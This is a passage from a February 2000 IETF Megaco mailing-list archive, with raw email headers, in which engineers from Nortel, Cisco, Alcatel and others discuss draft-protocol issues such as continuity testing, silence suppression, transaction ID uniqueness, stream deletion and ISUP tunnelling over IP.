best place for this information -- otherwise it would have to be provisioned in the MGC. In any event, it is certainly workable as a v1 solution. I know the Q.724 reference has been there all along, and I agree that it should not be required that all MGs support it. Chip's proposal sounds reasonable. [[TomT]] snip > Section: E.11.1 > Category: Technical > Issue: The draft text specifies that "silence suppression" is a > property > of the DS0 package. However silence suppression relates to the encoding > method and as such should be a property of each packet based termination. > For example, if a three-way call is established with one DS0 termination, > and two RTP terminations, it is conceivable that one of the RTP > terminations would like to use silence suppression while the other would > not (or cannot for that matter as not all codecs support silence > suppression). > Proposal: It is recommended that the "silence suppression" property > is > moved from the DS0 package to the "network package" > > v13 Status: SEMI-OPEN. Silence suppression has been removed, but it > has not > been added anywhere else (except for Annex C.1 which defines it as a > General Media Attribute). > [[TomT]] Yes, guess we need it. I assume it's a property to go into LocalControl -- the far end doesn't need to know about it in advance. Am I wrong? > Support NetAid! http://www.netaid.org > -------------------------------------------------- > Chip Sharp Consulting Engineering > Cisco Systems Telco Bio-region > Reality - Love it or Leave it. > -------------------------------------------------- ------_=_NextPart_001_01BF6DB8.860D93B0 Content-Type: text/html Content-Transfer-Encoding: quoted-printable RE: Cisco SG16: Annex E comments

The following remain = open items from Chip's original E-mail.

    -----Original Message-----
    From:   Chip Sharp [SMTP:chsharp@CISCO.COM]
    Sent:   Tuesday, January 25, 2000 8:18 PM
    [[TomT]]  snip
     
    Section:        = E.8
    Category:       = Technical
    Issue:        &nb= sp; The draft text specifies that the possible values for the = signals
    are "q724" and that the MG = figures out whether a 2-wire or 4-wire
    continuity test is to be performed on = the trunk in question. First of all,
    it is unclear how the MG determines = precisely what continuity test variant
    to perform unless it is assumed that = the MG is provisioned with this
    information, however this should not = be a requirement. Secondly, national
    variants of continuity test = procedures exist, and considering the package
    is a "basic continuity = package" it should be possible to use this package
    without requiring support for Q.724 = continuity test.
    Proposal:       It is = recommended, that the possible test values are not
    specified in this basic package, but = that extension packages define this
    packages, similarly to the "tone = generator" and "tone detection" packages
    defined in Annex E.1 and E.2

    v13 Status:     = OPEN. No relevant text changed.
    [[TomT]] 
    The understanding = in Redbank was that the proper continuity test to apply would indeed be = provisioned in the MG.  As I see it this is really the best place = for this information -- otherwise it would have to be provisioned in = the MGC.  In any event, it is certainly workable as a v1 = solution.

    I know the Q.724 = reference has been there all along, and I agree that it should not be = required that all MGs support it.  Chip's proposal sounds = reasonable.



    [[TomT]]  snip


    Section:        = E.11.1
    Category:       = Technical
    Issue:        &nb= sp; The draft text specifies that "silence suppression" is a = property
    of the DS0 package. However silence = suppression relates to the encoding
    method and as such should be a = property of each packet based termination.
    For example, if a three-way call is = established with one DS0 termination,
    and two RTP terminations, it is = conceivable that one of the RTP
    terminations would like to use = silence suppression while the other would
    not (or cannot for that matter as not = all codecs support silence
    suppression).
    Proposal:       It is = recommended that the "silence suppression" property is
    moved from the DS0 package to the = "network package"

    v13 Status:     = SEMI-OPEN. Silence suppression has been removed, but it has not
    been added anywhere else (except for = Annex C.1 which defines it as a
    General Media Attribute).

    [[TomT]]  Yes, guess we need it.  = I assume it's a property to go into LocalControl -- the far end doesn't = need to know about it in advance.  Am I wrong?


    Support NetAid!  = http://www.netaid.org
    --------------------------------------------------=
    Chip = Sharp           &= nbsp;     Consulting Engineering
    Cisco = Systems           = ;   Telco Bio-region
    Reality - Love it or Leave it.
    --------------------------------------------------=

------_=_NextPart_001_01BF6DB8.860D93B0-- From owner-megaco@STANDARDS.NORTELNETWORKS.COM Wed Feb 2 15:20:23 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA20346 for ; Wed, 2 Feb 2000 15:20:13 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.A50268E0@standards.nortelnetworks.com>; Wed, 2 Feb 2000 15:17:40 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 19572 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 2 Feb 2000 15:16:36 -0500 Received: from smtprch1.nortel.com (192.135.215.14) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.7EEAF9B0@standards.nortelnetworks.com>; Wed, 2 Feb 2000 15:16:36 -0500 Received: from zmers013 by smtprch1.nortel.com; Wed, 2 Feb 2000 14:18:03 -0600 Received: from zrchb213.us.nortel.com by zmers013; Wed, 2 Feb 2000 15:17:39 -0500 Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2448.0) id <1F2TJYGZ>; Wed, 2 Feb 2000 14:17:35 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01BF6DBA.8B1F9270" Message-ID: Date: Wed, 2 Feb 2000 14:17:33 -0600 Reply-To: Tom-PT Taylor Sender: "Media Gateway Control (megaco)" From: Tom-PT Taylor Subject: Re: Cisco SG16: Annex E comments X-To: Chip Sharp To: MEGACO@STANDARDS.NORTELNETWORKS.COM This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01BF6DBA.8B1F9270 Content-Type: text/plain Another issue, which has been discussed. The package is broken as it stands -- the MGC cannot tell whether the da-dd events are supported. We have three alternatives: the two Chip proposes, or keep things as they are and add a global read-only property which indicates whether da-dd are supported. I favour making support of da-dd mandatory, on the ground that the phone types served by the MG are independent of the MG itself. > -----Original Message----- > From: Chip Sharp [SMTP:chsharp@CISCO.COM] > Sent: Tuesday, January 25, 2000 8:18 PM [[TomT]] snip > Section: E.4 > Category: Technical > Issue: The draft text specifies that "Support of dA-dD is > optional". > Having optional events in a package tends to defeat the purpose of > packages > in the first place. > Proposal: It is recommended that either support for the signals > become > mandatory or they are provided in a separate package. > > v13 Status: OPEN. No relevant text changed. > > ------_=_NextPart_001_01BF6DBA.8B1F9270 Content-Type: text/html Content-Transfer-Encoding: quoted-printable RE: Cisco SG16: Annex E comments

Another issue, which = has been discussed.  The package is broken as it stands -- the MGC = cannot tell whether the da-dd events are supported.  We have three = alternatives: the two Chip proposes, or keep things as they are and add = a global read-only property which indicates whether da-dd are = supported.  I favour making support of da-dd mandatory, on the = ground that the phone types served by the MG are independent of the MG = itself.

    -----Original Message-----
    From:   Chip Sharp [SMTP:chsharp@CISCO.COM]
    Sent:   Tuesday, January 25, 2000 8:18 PM
    [[TomT]]  = snip=20
    Section:        = E.4
    Category:       = Technical
    Issue:        &nb= sp; The draft text specifies that "Support of dA-dD is = optional".
    Having optional events in a package = tends to defeat the purpose of packages
    in the first place.
    Proposal:       It is = recommended that either support for the signals become
    mandatory or they are provided in a = separate package.

    v13 Status:     = OPEN. No relevant text changed.


------_=_NextPart_001_01BF6DBA.8B1F9270-- From owner-megaco@STANDARDS.NORTELNETWORKS.COM Wed Feb 2 16:32:30 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA21968 for ; Wed, 2 Feb 2000 16:32:30 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.B88CA740@standards.nortelnetworks.com>; Wed, 2 Feb 2000 16:29:47 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 19646 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 2 Feb 2000 16:27:59 -0500 Received: from ns.fmmo.ca (207.253.160.156) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.12722E80@standards.nortelnetworks.com>; Wed, 2 Feb 2000 16:17:59 -0500 Received: from localhost (fm-listproc@localhost) by ns.fmmo.ca (8.9.3/8.9.3) with ESMTP id QAA06788; Wed, 2 Feb 2000 16:25:59 -0500 MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Message-ID: Date: Wed, 2 Feb 2000 16:25:58 -0500 Reply-To: Francois Menard List Account Sender: "Media Gateway Control (megaco)" From: Francois Menard List Account Subject: Re: ISUP Messages X-To: Guylain Lavoie To: MEGACO@STANDARDS.NORTELNETWORKS.COM In-Reply-To: <80E2FF0AC64DD311AC3700E02910AE0A257E7D@INTERNAL> The tunelling of ISUP is the subject of the activities of another IETF working group called SIGTRAN. This working group has the mandate to come up with a tunelling mechanism for ISUP over IP. I believe that the scope of the SIGTRAN effort is very limited, as according to its charter, SIGTRAN cannot alter the content of ISUP over IP (i.e. it cannot do any form of protocol translation). A number of proprietary methods already exist in the marketplace, namely IPS7 from Nortel others. There are other methods for carrying ISUP over IP which are a bit more forward looking, such as the SIP/ID Media Type and the ISUP mime type for SIP, which have been the object of several drafts in the last 12 months. In packetcable, there is yet another proprietary mechanism for tunelling ISUP between the softswitch and the trunking gateways. I hope it answers your question -=Francois=- fmenard@fmmo.ca On Wed, 2 Feb 2000, Guylain Lavoie wrote: > I just read the Media Gateway Control Protocol (MGCP) Call Flows > November 18, 1998 draft , and there is something that I don't understand. In > the flow control diagrams they show that there are ISUP interaction beetween > the CA and the TGW, but what I don't understand is how these ISUP messages > are transported over IP to the TGW, there must be some tunnelling done > somewhere. I would appreciate if someone could explain this to me or point > me to some other documentation? > > Thanks > > Guylain Lavoie > > Mediatrix Telecom Inc. > 4229 Garlock Street > Sherbrooke (Quebec) > Canada J1L 2C8 > Tel...: (819) 829-8749 ext 262 > Fax...: (819) 829-5100 > Web...: http://www.mediatrix.com > Email.: glavoie@mediatrix.com > From owner-megaco@STANDARDS.NORTELNETWORKS.COM Wed Feb 2 17:06:38 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA22735 for ; Wed, 2 Feb 2000 17:06:33 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.7AD4B050@standards.nortelnetworks.com>; Wed, 2 Feb 2000 17:03:51 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 19703 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 2 Feb 2000 17:01:56 -0500 Received: from smtprch1.nortel.com (192.135.215.14) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.36197950@standards.nortelnetworks.com>; Wed, 2 Feb 2000 17:01:56 -0500 Received: from zmers013 by smtprch1.nortel.com; Wed, 2 Feb 2000 16:03:51 -0600 Received: from zrtpd004.us.nortel.com (actually nrtpd004) by zmers013; Wed, 2 Feb 2000 17:03:33 -0500 Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2448.0) id <1D5VB1N5>; Wed, 2 Feb 2000 17:03:33 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01BF6DC9.586F72FA" Message-ID: Date: Wed, 2 Feb 2000 17:03:25 -0500 Reply-To: Tom-PT Taylor Sender: "Media Gateway Control (megaco)" From: Tom-PT Taylor Subject: Re: Cisco SG16: Transaction ID uniqueness X-To: Chip Sharp To: MEGACO@STANDARDS.NORTELNETWORKS.COM This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01BF6DC9.586F72FA Content-Type: text/plain; charset="iso-8859-1" The necessary changes appear to have been made in v14. > -----Original Message----- > From: Chip Sharp [SMTP:chsharp@CISCO.COM] > Sent: Tuesday, January 25, 2000 8:07 PM > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > Subject: Cisco SG16: Transaction ID uniqueness > > Section: D.1.1, second paragraph > Category: Technical, Editorial > Issue: The draft text specifies that "The transaction identifiers > of > incoming messages are compared to the transaction identifiers of the > recent > responses". This is inconsistent with Section 8.1.1 where transaction > identifiers are defined to only be unique within the scope of a given > sender. Transaction identifiers should indeed be unique within the scope > of > a given sender to avoid having to synchronize transaction identifiers > between MGC's, e.g. when handoff or failover is performed. > Proposal: It is proposed that the text is modified to be consistent > with > Section 8.1.1. > > v13 Status: OPEN. No text changed. > > > Section: D.1.1, second paragraph > Category: Technical, Editorial > Issue: The draft text specifies that "The remaining messages will > be > compared to the list of current transactions. If a match is found, > indicating a duplicate transaction, the entity does not execute the > transaction, which is simply ignored". The above behaviour is sub-optimal > and will lead to unnecessary retransmissions and adjustment of > retransmission timers for subsequent transmissions. It is furthermore > inconsistent with the description in Annex D.1.4. > Proposal: It is proposed that a "TransActionPending" response is > returned > instead. > > v13 Status: OPEN. No text changed. > > > Section: D.1.1, last paragraph. > Category: Technical, Editorial > Issue: The draft text specifies that "For transactions that are > acknowledged through this parameter, the MG shall keep a copy of the > transaction-id for LONG_TIMER seconds after the response is issued, in > order to detect and ignore duplicate copies of the transaction response". > The sentence is incorrect as the purpose of the keeping the transaction-id > > (but not the response) at the MG is to recognize duplicate transaction > requests which can then be ignored with it is known that the requestor > already received the response. > Proposal: It is recommended that "transaction response" is changed > to > "transaction request" in the above sentence. Furthermore, it is > recommended > the "the MG" is changed to "the MG (or MGC)" as the behaviour applies to > both. > > v13 Status: OPEN. No text changed. > > > Section: D.1.2, first paragraph, last line > Category: Technical, Editorial > Issue: The draft text specifies that "MGs can simply detect > duplicate > transactions by looking at the transaction identifier only". This is > inconsistent with the "sender uniqueness only" requirement on transaction > identifiers in Section 8.1.1, which implied that MGs have to look at the > combination of "mId" and transaction identifier to identify a duplicate > transaction. > > Proposal: It is recommended that the text is modified to be > consistent with > Section 8.1.1, i.e. that the combination of transaction identifier and mId > > identifies a given transaction. > > v13 Status: OPEN. No text changed. > > > Section: D.1.2, fourth paragraph > Category: Technical > Issue: The draft text specifies that "The entity shall retain the > union of > the "confirmed transaction-id ranges" received in recent messages". This > is > inaccurate. More specifically, a given "confirmed transaction-id range" is > > valid for LONG-TIMER seconds. > Proposal: It is proposed that the text is modified to reflect the > above. > > v13 Status: OPEN. No text changed. > > > Section: D.1.4, fourth paragraph > Category: Technical > Issue: The draft text specifies that "The transaction identifiers > of > incoming transactions are compared...". The paragraph duplicates Section > D.1.1 and contains the same problem of ignoring the "sender uniqueness > only" requirement on transaction identifiers as well as not issuing a > provisional response when a duplicate request for an in-progress > transaction. > Proposal: It is proposed that the paragraph is either removed or the > text > modified to reflect the "sender uniqueness requirement" and sending of a > provisional response. > > v13 Status: OPEN. No text changed. > > Support NetAid! http://www.netaid.org > -------------------------------------------------- > Chip Sharp Consulting Engineering > Cisco Systems Telco Bio-region > Reality - Love it or Leave it. > -------------------------------------------------- ------_=_NextPart_001_01BF6DC9.586F72FA Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: Cisco SG16: Transaction ID uniqueness

The necessary = changes appear to have been made in v14.

    -----Original Message-----
    From:   Chip Sharp [SMTP:chsharp@CISCO.COM]
    Sent:   Tuesday, January 25, 2000 8:07 PM
    To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
    Subject:       = Cisco SG16: Transaction ID = uniqueness

    Section:        = D.1.1, second paragraph
    Category:       Technical, = Editorial
    Issue:        &nb= sp; The draft text specifies that "The transaction identifiers of =
    incoming messages are compared to the = transaction identifiers of the recent
    responses". This is inconsistent with = Section 8.1.1 where transaction
    identifiers are defined to only be = unique within the scope of a given
    sender. Transaction identifiers = should indeed be unique within the scope of
    a given sender to avoid having to = synchronize transaction identifiers
    between MGC's, e.g. when handoff or = failover is performed.
    Proposal:       It is = proposed that the text is modified to be consistent with
    Section 8.1.1.

    v13 Status:     = OPEN. No text changed.


    Section:        = D.1.1, second paragraph
    Category:       Technical, = Editorial
    Issue:        &nb= sp; The draft text specifies that "The remaining messages will be =
    compared to the list of current = transactions. If a match is found,
    indicating a duplicate transaction, = the entity does not execute the
    transaction, which is simply = ignored". The above behaviour is sub-optimal
    and will lead to unnecessary = retransmissions and adjustment of
    retransmission timers for subsequent = transmissions. It is furthermore
    inconsistent with the description in = Annex D.1.4.
    Proposal:       It is = proposed that a "TransActionPending" response is returned
    instead.

    v13 Status:     = OPEN. No text changed.


    Section:        = D.1.1, last paragraph.
    Category:     = ;  Technical, Editorial
    Issue:        &nb= sp; The draft text specifies that "For transactions that are
    acknowledged through this parameter, = the MG shall keep a copy of the
    transaction-id for LONG_TIMER seconds = after the response is issued, in
    order to detect and ignore duplicate = copies of the transaction response".
    The sentence is incorrect as the = purpose of the keeping the transaction-id
    (but not the response) at the MG is = to recognize duplicate transaction
    requests which can then be ignored = with it is known that the requestor
    already received the response.
    Proposal:       It is = recommended that "transaction response" is changed to
    "transaction request" in the above = sentence. Furthermore, it is recommended
    the "the MG" is changed to "the MG = (or MGC)" as the behaviour applies to both.

    v13 Status:     = OPEN. No text changed.


    Section:        = D.1.2, first paragraph, last line
    Category:       Technical, = Editorial
    Issue:        &nb= sp; The draft text specifies that "MGs can simply detect duplicate =
    transactions by looking at the = transaction identifier only". This is
    inconsistent with the "sender = uniqueness only" requirement on transaction
    identifiers in Section 8.1.1, which = implied that MGs have to look at the
    combination of "mId" and transaction = identifier to identify a duplicate
    transaction.

    Proposal:       It is = recommended that the text is modified to be consistent with
    Section 8.1.1, i.e. that the = combination of transaction identifier and mId
    identifies a given = transaction.

    v13 Status:     = OPEN. No text changed.


    Section:        = D.1.2, fourth paragraph
    Category:       = Technical
    Issue:        &nb= sp; The draft text specifies that "The entity shall retain the union of =
    the "confirmed transaction-id ranges" = received in recent messages". This is
    inaccurate. More specifically, a = given "confirmed transaction-id range" is
    valid for LONG-TIMER seconds.
    Proposal:       It is = proposed that the text is modified to reflect the above.

    v13 Status:     = OPEN. No text changed.


    Section:        = D.1.4, fourth paragraph
    Category:       = Technical
    Issue:        &nb= sp; The draft text specifies that "The transaction identifiers of =
    incoming transactions are = compared...". The paragraph duplicates Section
    D.1.1 and contains the same problem = of ignoring the "sender uniqueness
    only" requirement on transaction = identifiers as well as not issuing a
    provisional response when a duplicate = request for an in-progress transaction.
    Proposal:       It is = proposed that the paragraph is either removed or the text
    modified to reflect the "sender = uniqueness requirement" and sending of a
    provisional response.

    v13 Status:     = OPEN. No text changed.

    Support NetAid!  = http://www.netaid.org
    --------------------------------------------------=
    Chip = Sharp           &= nbsp;     Consulting Engineering
    Cisco = Systems           = ;   Telco Bio-region
    Reality - Love it or Leave = it.          =        
    --------------------------------------------------=

------_=_NextPart_001_01BF6DC9.586F72FA-- From owner-megaco@STANDARDS.NORTELNETWORKS.COM Wed Feb 2 17:12:21 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA22827 for ; Wed, 2 Feb 2000 17:12:21 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.52BD5D00@standards.nortelnetworks.com>; Wed, 2 Feb 2000 17:09:54 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 19725 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 2 Feb 2000 17:08:11 -0500 Received: from smtprch1.nortel.com (192.135.215.14) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.15B101A0@standards.nortelnetworks.com>; Wed, 2 Feb 2000 17:08:11 -0500 Received: from zmers013 by smtprch1.nortel.com; Wed, 2 Feb 2000 16:09:21 -0600 Received: from zrtpd004.us.nortel.com (actually nrtpd004) by zmers013; Wed, 2 Feb 2000 17:09:05 -0500 Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2448.0) id <1D5VB1SG>; Wed, 2 Feb 2000 17:09:05 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01BF6DCA.1DBC6CD4" Message-ID: Date: Wed, 2 Feb 2000 17:09:03 -0500 Reply-To: Tom-PT Taylor Sender: "Media Gateway Control (megaco)" From: Tom-PT Taylor Subject: Re: Cisco SG16: Streams X-To: Chip Sharp To: MEGACO@STANDARDS.NORTELNETWORKS.COM This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01BF6DCA.1DBC6CD4 Content-Type: text/plain The first issue appears to have been resolved by the new v14 text in 7.1.6. With respect to the second issue, we now have the means to delete a stream implicitly on a termination: by specifying Reserve=FALSE and empty Local and Remote descriptors. This meets the spirit of what Chip is asking for by making stream creation and deletion symmetric. Can we get rid of Mode=delete? > -----Original Message----- > From: Chip Sharp [SMTP:chsharp@CISCO.COM] > Sent: Tuesday, January 25, 2000 8:03 PM > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > Subject: Cisco SG16: Streams > > Section: 7.1.4, second paragraph > Category: Technical > Issue: The draft text specifies that "A stream is identified by a > StreamID", however there is no uniqueness requirement on the StreamID > which > may lead to inconsistent behaviour. > Proposal: Since terminations, and thereby streams, may be moved > between > different context, it is recommended that StreamIDs are defined to be > unique within a MG. > > v13 Status: OPEN. No new text. > > > Section: 7.1.7, third paragraph > Category: Technical > Issue: The draft text specifies that "Mode set to delete is used > to remove > a stream from a termination". There is no mention of how to add a stream > which would seem logical to be able to if you can delete a stream. > Proposal: It is recommended that text describing how streams are > added is > included. > > v13 Status: OPEN. No text added. > > Support NetAid! http://www.netaid.org > -------------------------------------------------- > Chip Sharp Consulting Engineering > Cisco Systems Telco Bio-region > Reality - Love it or Leave it. > -------------------------------------------------- ------_=_NextPart_001_01BF6DCA.1DBC6CD4 Content-Type: text/html Content-Transfer-Encoding: quoted-printable RE: Cisco SG16: Streams

The first issue = appears to have been resolved by the new v14 text in 7.1.6.

With respect to the = second issue, we now have the means to delete a stream implicitly on a = termination: by specifying Reserve=3DFALSE and empty Local and Remote = descriptors.  This meets the spirit of what Chip is asking for by = making stream creation and deletion symmetric.  Can we get rid of = Mode=3Ddelete?

    -----Original Message-----
    From:   Chip Sharp [SMTP:chsharp@CISCO.COM]
    Sent:   Tuesday, January 25, 2000 8:03 PM
    To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
    Subject:       = Cisco SG16: Streams

    Section:        = 7.1.4, second paragraph
    Category:       = Technical
    Issue:        &nb= sp; The draft text specifies that "A stream is identified by = a
    StreamID", however there is no = uniqueness requirement on the StreamID which
    may lead to inconsistent = behaviour.
    Proposal:       Since = terminations, and thereby streams, may be moved between
    different context, it is recommended = that StreamIDs are defined to be
    unique within a MG.

    v13 Status:     = OPEN. No new text.


    Section:        = 7.1.7, third paragraph
    Category:       = Technical
    Issue:        &nb= sp; The draft text specifies that "Mode set to delete is used to = remove
    a stream from a termination". = There is no mention of how to add a stream
    which would seem logical to be able = to if you can delete a stream.
    Proposal:       It is = recommended that text describing how streams are added is
    included.

    v13 = Status:           = ;  OPEN. No text added.

    Support NetAid!  = http://www.netaid.org
    --------------------------------------------------=
    Chip = Sharp           &= nbsp;     Consulting Engineering
    Cisco = Systems           = ;   Telco Bio-region
    Reality - Love it or Leave it.
    --------------------------------------------------=

------_=_NextPart_001_01BF6DCA.1DBC6CD4-- From owner-megaco@STANDARDS.NORTELNETWORKS.COM Wed Feb 2 17:54:35 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA23177 for ; Wed, 2 Feb 2000 17:54:35 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.368CF770@standards.nortelnetworks.com>; Wed, 2 Feb 2000 17:52:03 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 19799 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 2 Feb 2000 17:51:07 -0500 Received: from fw7.dsccc.com by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.AF0CF7B0@standards.nortelnetworks.com>; Wed, 2 Feb 2000 17:41:06 -0500 Received: (from uucp@localhost) by fw7.dsccc.com (8.8.8+Sun/8.8.8) id QAA25583 for ; Wed, 2 Feb 2000 16:43:04 -0600 (CST) Received: from relay1.dsccc.com(143.209.238.6) by fw7 via smap (V2.0) id xma025535; Wed, 2 Feb 00 16:42:05 -0600 Received: from psun6.usa.alcatel.com (localhost [127.0.0.1]) by relay1.usa.alcatel.com (8.9.3/8.8.8) with ESMTP id QAA16498 for ; Wed, 2 Feb 2000 16:42:00 -0600 (CST) Received: from ssd.usa.alcatel.com ([127.0.0.1]) by psun6.usa.alcatel.com (Netscape Messaging Server 3.6) with ESMTP id AAA1938 for ; Wed, 2 Feb 2000 16:41:59 -0600 Received: from sun1654.ssd.usa.alcatel.com (sun1654.ssd.usa.alcatel.com [143.209.153.117]) by ssd.usa.alcatel.com (8.8.8+Sun/8.8.8) with ESMTP id QAA14892 for ; Wed, 2 Feb 2000 16:41:06 -0600 (CST) Received: from usa.alcatel.com (localhost [127.0.0.1]) by sun1654.ssd.usa.alcatel.com (8.9.3+Sun/8.9.1) with ESMTP id QAA19937 for ; Wed, 2 Feb 2000 16:41:05 -0600 (CST) X-Mailer: Mozilla 4.61 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 References: Content-Type: multipart/alternative; boundary="------------94CD599B2AF791D1E641B7E1" Message-ID: <3898B281.69A1DF08@usa.alcatel.com> Date: Wed, 2 Feb 2000 16:41:05 -0600 Reply-To: Chuong Nguyen Sender: "Media Gateway Control (megaco)" From: Chuong Nguyen Subject: Re: Cisco SG16: Streams To: MEGACO@STANDARDS.NORTELNETWORKS.COM --------------94CD599B2AF791D1E641B7E1 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit What is the syntax for empty local/remote descriptor? ABNF: Should "localDescriptor = LocalToken LBRKT octetString RBRKT" be "localDescriptor = LocalToken LBRKT [octetString ] RBRKT" or something else? We already have the precedence that empty audit descriptor can be implemented by the current ABNF: auditDescriptor = AuditToken LBRKT [auditItem *(COMMA auditItem) ] RBRKT Chuong Tom-PT Taylor wrote: > > > The first issue appears to have been resolved by the new v14 text in > 7.1.6. > > With respect to the second issue, we now have the means to delete a > stream implicitly on a termination: by specifying Reserve=FALSE and > empty Local and Remote descriptors. This meets the spirit of what > Chip is asking for by making stream creation and deletion symmetric. > Can we get rid of Mode=delete? > > -----Original Message----- > From: Chip Sharp [SMTP:chsharp@CISCO.COM] > Sent: Tuesday, January 25, 2000 8:03 PM > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > Subject: Cisco SG16: Streams > > Section: 7.1.4, second paragraph > Category: Technical > Issue: The draft text specifies that "A stream is > identified by a > StreamID", however there is no uniqueness requirement on the > StreamID which > may lead to inconsistent behaviour. > Proposal: Since terminations, and thereby streams, may be > moved between > different context, it is recommended that StreamIDs are defined > to be > unique within a MG. > > v13 Status: OPEN. No new text. > > Section: 7.1.7, third paragraph > Category: Technical > Issue: The draft text specifies that "Mode set to delete > is used to remove > a stream from a termination". There is no mention of how to add a > stream > which would seem logical to be able to if you can delete a > stream. > Proposal: It is recommended that text describing how > streams are added is > included. > > v13 Status: OPEN. No text added. > > Support NetAid! http://www.netaid.org > -------------------------------------------------- > Chip Sharp Consulting Engineering > Cisco Systems Telco Bio-region > Reality - Love it or Leave it. > -------------------------------------------------- > -- Alcatel USA, Inc Internet: Chuong.Nguyen@usa.alcatel.com 1000 Coit Road Plano, Texas 75075 Phone: (972) 519-4613 **** The opinions expressed are not those of Alcatel USA, Inc **** --------------94CD599B2AF791D1E641B7E1 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit What is the syntax for empty local/remote descriptor?

ABNF:
Should "localDescriptor = LocalToken LBRKT octetString RBRKT" be
             "localDescriptor = LocalToken LBRKT [octetString ] RBRKT" or
something else?

We already have the precedence that empty audit descriptor can be implemented by the current ABNF:
auditDescriptor = AuditToken LBRKT [auditItem *(COMMA auditItem) ] RBRKT

Chuong
 

Tom-PT Taylor wrote:

 

The first issue appears to have been resolved by the new v14 text in 7.1.6.

With respect to the second issue, we now have the means to delete a stream implicitly on a termination: by specifying Reserve=FALSE and empty Local and Remote descriptors.  This meets the spirit of what Chip is asking for by making stream creation and deletion symmetric.  Can we get rid of Mode=delete?

    -----Original Message-----
    From:  Chip Sharp [SMTP:chsharp@CISCO.COM]
    Sent:  Tuesday, January 25, 2000 8:03 PM
    To:    MEGACO@STANDARDS.NORTELNETWORKS.COM
    Subject:       Cisco SG16: Streams

    Section:        7.1.4, second paragraph
    Category:       Technical
    Issue:          The draft text specifies that "A stream is identified by a
    StreamID", however there is no uniqueness requirement on the StreamID which
    may lead to inconsistent behaviour.
    Proposal:       Since terminations, and thereby streams, may be moved between
    different context, it is recommended that StreamIDs are defined to be
    unique within a MG.

    v13 Status:     OPEN. No new text.

    Section:        7.1.7, third paragraph
    Category:       Technical
    Issue:          The draft text specifies that "Mode set to delete is used to remove
    a stream from a termination". There is no mention of how to add a stream
    which would seem logical to be able to if you can delete a stream.
    Proposal:       It is recommended that text describing how streams are added is
    included.

    v13 Status:             OPEN. No text added.

    Support NetAid!  http://www.netaid.org
    --------------------------------------------------
    Chip Sharp                 Consulting Engineering
    Cisco Systems              Telco Bio-region
    Reality - Love it or Leave it.
    --------------------------------------------------

-- 
  Alcatel USA, Inc             Internet: Chuong.Nguyen@usa.alcatel.com
  1000 Coit Road Plano, Texas 75075           Phone:    (972) 519-4613
